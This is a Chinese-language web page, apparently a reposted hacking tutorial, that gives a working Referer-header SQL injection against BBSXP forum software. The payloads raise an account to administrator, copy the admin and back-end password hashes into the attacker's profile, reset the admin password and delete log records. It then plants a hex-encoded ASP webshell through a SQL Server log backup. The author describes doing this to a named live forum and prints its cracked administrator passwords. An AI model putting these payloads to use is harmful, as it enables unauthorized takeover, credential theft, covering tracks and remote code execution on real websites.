注册
登录
| 关键词： 密码 39 后台 成功 管理员 登陆 bbsxp username WEBSHELL Referer |
漏洞存在于文件setup.asp中 第一部份 注册－>登陆->发帖->编辑->抓包->改包->提升为管理员->更改后台密码->登陆后台->WEBSHELL 这里我设密码为：ttfct1 ,NC提交，成功提为管理员。用密码：ttfct1登陆后台。成功获取WEBSHELL，成功备份，获取WEBSHELL 成功。 WEBSHELL获取的两种方法一：后台上传增加 htr二：log备份，共4步 第二部份 检测官方网站我已注册好了，用户是sina147注册－>登陆->发帖->编辑->抓包为了不引起管理员注意，我们直接获取管理员密码和后台密码，然后登陆后台。 不好意思，刚才出了点问题，停电了。继续，抓包，修改，我查了一下，yuzi就是管理员了。 yuzi的密码5D4D89BEA718BEE10686FB053E86F13B->080532779后台登陆密码：531BC3E862F67DC2BAA871EABDE81A4F->080532449 登陆后台本文件请求的物理路径 D:\www\bbs.yuzi.net\Admin_other.asp 有了这个，就有机会拿WEBSHELL了后面的动画就不作了，大家发挥吧。 OVER************************************************************************************提升为管理员:Referer: http://127.0.0.1','','','修改帖子成功');update bbsxp_users set UserRoleID=1 where username='sina'-- 获取管理员密码(即一次密码）：Referer: http://127.0.0.1','', '','修改帖子成功');update bbsxp_users set UserMail= (select userpass from bbsxp_users where username='yuzi') where username='sina147' 获取后台密码(即二次密码）：Referer: http://127.0.0.1','','','修改帖子成功');update bbsxp_users set UserMail=(select top 1 adminpassword from bbsxp_sitesettings) where username='sina147' 更改后台管理密码(二次密码）Referer: http://127.0.0.1','','','修改帖子成功');update bbsxp_sitesettings set adminpassword=(select userpass from bbsxp_users where username='sina') 删除日志：Referer: http://127.0.0.1','','','修改帖子成功');delete from bbsxp_log where username='sina147' LOG备份备份地址：C:\Inetpub\wwwroot\ttfct.asp 第一步create table [dbo].[shit_tmp] ([cmd] [image]) 第二步declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate 第三步insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E) 第四步declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C0049006E00650074007000750062005C0077007700770072006F006F0074005C00740074006600630074002E00610073007000 backup log @a to disk=@s with init,no_truncate 第五步Drop table [shit_tmp] |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
